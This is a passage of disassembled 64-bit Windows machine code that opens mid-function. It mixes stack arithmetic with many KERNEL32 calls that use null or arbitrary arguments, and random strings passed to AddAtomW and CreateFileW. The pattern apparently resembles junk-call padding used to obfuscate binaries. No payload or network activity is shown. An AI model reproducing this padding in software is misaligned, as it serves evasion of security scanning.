movzx ecx, word [rsp + 0x1288]
sar eax, cl
mov rcx, qword [rsp + 0xa618]
mov word [rcx], ax
lea rcx, [rsp + 0x1ac18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x281]
mov byte [rsp + 0x2d8], al
mov rax, qword [rsp + 0x8410]
mov rcx, qword [rsp + 0x99b8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8650], rax
lea rcx, [rsp + 0x9c60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa3a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaaf8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8660], rax
mov r9d, 2
lea r8, [rsp + 0x9a58]
mov rdx, qword [rsp + 0x9968]
mov rcx, qword [rsp + 0x9b00]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4e24], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9658]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa538]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x210], al
mov edx, 0xe00
mov rcx, qword [rsp + 0xb028]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4e74], eax
movsx eax, word [rsp + 0xf48]
movsx ecx, word [rsp + 0xcc8]
and eax, ecx
mov word [rsp + 0x1090], ax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x1f6e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4d08], eax
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
mov dword [rsp + 0x4f08], eax
lea rcx, str.ZzCAEXb_Jh_FXDs5_61CFR7B
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x151c], ax
lea rdx, [rsp + 0xa4a0]
mov rcx, qword [rsp + 0x9bb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ad4], eax
movzx ecx, word [rsp + 0x14b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1520], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x95a8], rax
movzx ecx, word [rsp + 0xfc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13fc], ax
mov rax, qword [0x14024f230]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4070]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b60], eax
lea rax, [rsp + 0x17c]
mov qword [0x14024f0a8], rax
lea rcx, str.EFX_LqqIR59_J0IuqhEo
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1524], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
movzx ecx, word [rsp + 0x104c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1260], ax
mov rax, qword [rsp + 0xabb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9858]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa628]
mov word [rcx], ax
mov rax, qword [rsp + 0x8898]
mov qword [rsp + 0xb750], rax
mov rax, qword [rsp + 0x9ff0]
mov rax, qword [rax]
mov rcx, qword [0x14022fb60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9f28]
mov qword [rcx], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x1f800]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4f0c], eax
mov rax, qword [rsp + 0xb4b8]
mov ecx, dword [rsp + 0x409c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3df8], eax
mov rcx, qword [rsp + 0xa8c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
movsx eax, word [rsp + 0x10b8]
movsx ecx, word [0x14024f3be]
and eax, ecx
mov rcx, qword [rsp + 0xb2c8]
mov word [rcx], ax
mov r9d, 2
lea r8, [rsp + 0xb050]
mov rdx, qword [rsp + 0xb758]
mov rcx, qword [rsp + 0xafb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4d98], eax
mov rax, qword [rsp + 0x99d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa478]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x11b], al
lea rcx, [rsp + 0x1a678]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x134c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14d4], ax
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov dword [rsp + 0x4f10], eax
mov dword [rsp + 0x20], 0x22f3
mov r9d, 0x1793
mov r8d, 0x346c
mov edx, 0x1040
mov rcx, qword [rsp + 0xa560]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4f14], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movzx eax, word [0x14024f338]
mov rcx, qword [rsp + 0xb560]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10c4], ax
mov rcx, qword [rsp + 0xa840]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4cb4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb760], rax
mov r9d, 0x26ae
xor r8d, r8d
lea rdx, [rsp + 0xadd8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4e20], eax
lea rdx, [rsp + 0xb768]
mov rcx, qword [rsp + 0xb1f0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4e94], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov dword [rsp + 0x20], 0x3832
mov r9d, 0x33c9
mov r8d, 0x1b4d
mov edx, 0x29fc
mov rcx, qword [rsp + 0x9bb0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4a44], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ca0], rax
lea rcx, [rsp + 0xb770]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, byte [rsp + 0x26f]
movzx ecx, byte [rsp + 0x2bb]
add eax, ecx
mov byte [0x14022fb83], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb418], rax
lea rcx, [rsp + 0x21ae0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4f18], eax
mov rax, qword [rsp + 0x9ff0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa1b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7988], rax
mov r9d, 1
lea r8, [rsp + 0xb290]
mov rdx, qword [rsp + 0x9928]
mov rcx, qword [rsp + 0xa2a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c60], eax
lea rcx, [rsp + 0xb778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x8af8]
mov rcx, qword [rsp + 0x8230]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x95c8]
mov qword [rcx], rax
mov r9d, 2
lea r8, [rsp + 0xb770]
mov rdx, qword [rsp + 0x9cc0]
mov rcx, qword [rsp + 0x9b28]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a00], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
lea rax, [rsp + 0x2c8]
mov qword [rsp + 0xb780], rax
movzx ecx, word [rsp + 0x1114]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10e4], ax
lea rdx, [rsp + 0x9ba0]
mov rcx, qword [rsp + 0xb278]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4f1c], eax
mov rax, qword [rsp + 0xabb0]
movzx eax, word [rax]
movzx ecx, word [0x14024f1a2]
sar eax, cl
mov word [rsp + 0x1224], ax
mov rcx, qword [rsp + 0xaaa0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4f14], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9f58], rax
lea rcx, str.TUie_Bb1YVm7.NNbygS2nPx4WFEQ9
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1528], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movzx ecx, word [rsp + 0x1320]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfec], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x1110]
movsx ecx, word [rsp + 0x1084]
shl eax, cl
mov rcx, qword [rsp + 0x98b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2c0]
mov byte [rsp + 0x2d9], al
mov r9d, 0x1370
xor r8d, r8d
lea rdx, [rsp + 0x9e80]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4be8], eax
mov rax, qword [rsp + 0x9e28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4898]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c04], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x9f98]
mov eax, dword [rax]
mov dword [rsp + 0x4f20], eax
mov rax, qword [rsp + 0xad30]
mov ecx, dword [rsp + 0x43a8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x14024f110]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb788], rax
mov rax, qword [0x14024f0d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1088]
and eax, ecx
mov rcx, qword [rsp + 0xb450]
mov word [rcx], ax
mov rcx, qword [rsp + 0x8f68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0xf94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10e4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov dword [rsp + 0x222c0], 0x11c
movzx eax, byte [rsp + 0x88]
mov rcx, qword [rsp + 0xaed8]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xb230]
mov byte [rcx], al
movzx ecx, word [rsp + 0x100c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1330], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov r9d, 1
lea r8, [rsp + 0x9ea0]
mov rdx, qword [rsp + 0x9cc0]
mov rcx, qword [rsp + 0xa4e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4f24], eax
mov rax, qword [rsp + 0xafa8]
mov rcx, qword [0x14022fb60]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8040], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2d9f
mov r9d, 0x334f
mov r8d, 0x7b66211b
mov edx, 2
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4ec4], eax
mov rax, qword [rsp + 0xb558]
mov rcx, qword [rsp + 0x81d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa720], rax
lea rax, [rsp + 0x27b]
mov qword [rsp + 0xb790], rax
movsx eax, word [rsp + 0xc50]
movsx ecx, word [rsp + 0x142c]
sub eax, ecx
mov rcx, qword [rsp + 0xb3e8]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb798], rax
lea rcx, [rsp + 0xb400]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xac68], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0x9f50]
mov ecx, dword [rsp + 0x4a80]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4200], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb7a0], rax
lea rax, [rsp + 0xcbc]
mov qword [rsp + 0xb7a8], rax
mov rax, qword [rsp + 0xb060]
movzx eax, byte [rax]
mov byte [0x14024f0a2], al
movzx ecx, word [rsp + 0x1310]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1074], ax
lea rdx, [rsp + 0xb7b0]
mov rcx, qword [rsp + 0x9638]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4f24], eax
movzx ecx, word [rsp + 0xf44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x137c], ax
mov rax, qword [rsp + 0xa160]
mov rcx, qword [rsp + 0xb680]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9970], rax
mov eax, dword [rsp + 0x42f4]
mov dword [rsp + 0x4f28], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rcx, [rsp + 0x1ab88]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa2f8]
mov rcx, qword [0x14024f3c0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9e88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa0d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cdc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa868]
mov dword [rcx], eax
lea rax, [rsp + 0x1084]
mov qword [rsp + 0xb7b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb7c0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0x9680]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2c3]
add eax, ecx
mov byte [rsp + 0x2a2], al
mov eax, dword [rsp + 0x49d8]
mov ecx, dword [rsp + 0x43fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4554], eax
mov edx, 0x8b3
mov rcx, qword [rsp + 0x96d0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4f2c], eax
movzx eax, word [rsp + 0xfb8]
movzx ecx, word [rsp + 0x5cc]
shl eax, cl
mov rcx, qword [rsp + 0x8f20]
mov word [rcx], ax
movzx ecx, word [rsp + 0x13bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1490], ax
movzx eax, byte [rsp + 0x2bd]
mov rcx, qword [rsp + 0xb2e0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140221338], al
mov rax, qword [rsp + 0xa470]
mov rax, qword [rax]
mov qword [rsp + 0xb7c8], rax
mov edx, 0x555
mov rcx, qword [rsp + 0x9c30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4f30], eax
mov rax, qword [rsp + 0xa868]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x49cc]
shr eax, cl
mov dword [rsp + 0x4800], eax
mov rax, qword [rsp + 0xb560]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x694]
xor eax, ecx
mov rcx, qword [rsp + 0x96c0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x95f0], rax
lea rdx, [rsp + 0xb408]
mov rcx, qword [rsp + 0x9c68]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4958], eax
lea rcx, str.G5.mCxv
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x152c], ax
mov rax, qword [rsp + 0xa658]
movzx eax, byte [rax]
mov byte [rsp + 0x2da], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0xb388]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x275]
and eax, ecx
mov byte [rsp + 0x14b], al
mov rax, qword [rsp + 0xa668]
mov eax, dword [rax]
mov ecx, dword [0x14022fb68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42d4], eax
movsx eax, word [rsp + 0x13b4]
movsx ecx, word [rsp + 0x998]
add eax, ecx
mov word [rsp + 0x1084], ax
lea rcx, [rsp + 0xa178]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0xaaa0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xb108]
mov rcx, qword [rsp + 0x8658]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a08], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
lea rcx, [rsp + 0xb7d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xad50], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb550], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xac10], rax
lea rax, [rsp + 0x4ac0]
mov qword [rsp + 0xb7d8], rax
mov rax, qword [rsp + 0x9ed8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5b]
add eax, ecx
mov byte [0x14022fb86], al
mov edx, 0xf70
mov rcx, qword [rsp + 0xb748]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4f34], eax
movzx eax, word [0x14024f1d8]
mov rcx, qword [rsp + 0xb450]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11c4], ax
mov rcx, qword [rsp + 0xae68]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x7af8]
mov qword [rsp + 0xb7e0], rax
mov r9d, 1
lea r8, [rsp + 0xa4c0]
mov rdx, qword [rsp + 0xb7e8]
mov rcx, qword [rsp + 0x97e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4900], eax
movzx ecx, word [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x119c], ax
lea rcx, [rsp + 0x222c0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x46c0], eax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x7c38]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9e70], rax
lea rcx, [rsp + 0xb7f0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov edx, 0xd7f
mov rcx, qword [rsp + 0x9750]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4998], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x21540]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x49fc], eax
mov rax, qword [rsp + 0x96a8]
mov ecx, dword [rsp + 0x4c04]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4dd8], eax
lea rax, [rsp + 0xd4c]
mov qword [rsp + 0xb7f8], rax
mov rax, qword [rsp + 0xacc8]
movsx eax, byte [rax]
imul eax, eax, 0x66
mov byte [rsp + 0x235], al
lea rax, [rsp + 0x2bc]
mov qword [rsp + 0xb800], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x124c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee8], ax
mov rax, qword [rsp + 0xb670]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa338]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe34], ax
lea rdx, [rsp + 0xb808]
mov rcx, qword [rsp + 0xa278]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4cac], eax
mov r9d, 1
lea r8, [rsp + 0xb740]
mov rdx, qword [rsp + 0x98e8]
mov rcx, qword [rsp + 0x99e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4de0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.VEij8YFWMZJ5SWupd
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb810], rax
lea rcx, [rsp + 0xa2d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [0x14022fbac]
mov rcx, qword [rsp + 0xb548]
mov qword [rsp + 0xb818], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb818]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x14024f368]
mov dword [rcx], eax
mov edx, 0x1e82
mov rcx, qword [rsp + 0xab68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49c8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xaca0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
movzx ecx, word [rsp + 0xfdc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1180], ax
mov rcx, qword [rsp + 0x9818]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.TiPaysBgC2lZ27UwGSVkHgmaUg2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb820], rax
lea rcx, str.GQVNgUo
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1078], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
movzx ecx, word [rsp + 0x12e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10dc], ax
mov rax, qword [rsp + 0xb080]
mov rax, qword [rax]
mov qword [rsp + 0xb828], rax
lea rcx, [rsp + 0xb830]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx ecx, word [rsp + 0x1150]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1420], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.rI7ZLWk4A_sYpgSnACw5d5ESjC6tLiBblOuKDQxy
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb838], rax
mov r9d, 1
lea r8, [rsp + 0x9760]
mov rdx, qword [rsp + 0x9760]
mov rcx, qword [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c60], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0xa728]
mov rcx, qword [rsp + 0xac20]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x84b8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.yGAedGrPNGOE56HA
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb840], rax
mov rax, qword [rsp + 0xa028]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ba]
shl eax, cl
mov byte [rsp + 0x14c], al
mov rcx, qword [rsp + 0xaf40]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac78]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x203], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov edx, 0x12d3
mov rcx, qword [rsp + 0xa100]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x497c], eax
lea rcx, str.RO3k_f_RrnS
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1530], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb030], rax
mov eax, dword [rsp + 0x48b4]
mov ecx, dword [rsp + 0x44e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaea8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa0e8]
mov rax, qword [rax]
mov qword [rsp + 0xb848], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
movsx eax, word [rsp + 0x1020]
mov rcx, qword [rsp + 0xa360]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf38], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.HCh7eJhB8f_byX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb850], rax
movzx eax, word [rsp + 0x108c]
movzx ecx, word [rsp + 0x1224]
imul eax, ecx
mov word [rsp + 0x1308], ax
mov rax, qword [rsp + 0xaad8]
movzx eax, word [rax]
mov word [0x14024f0a0], ax
mov rax, qword [rsp + 0xb4b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4124], eax
movzx eax, byte [rsp + 0x298]
mov rcx, qword [0x14024f100]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a4], al
mov eax, dword [rsp + 0x4768]
mov dword [rsp + 0x4f38], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
lea rcx, str.hwN3T_OB_Ug_ga
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1268], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb858], rax
mov rax, qword [rsp + 0xae20]
mov rcx, qword [rsp + 0xaa68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42d4], eax
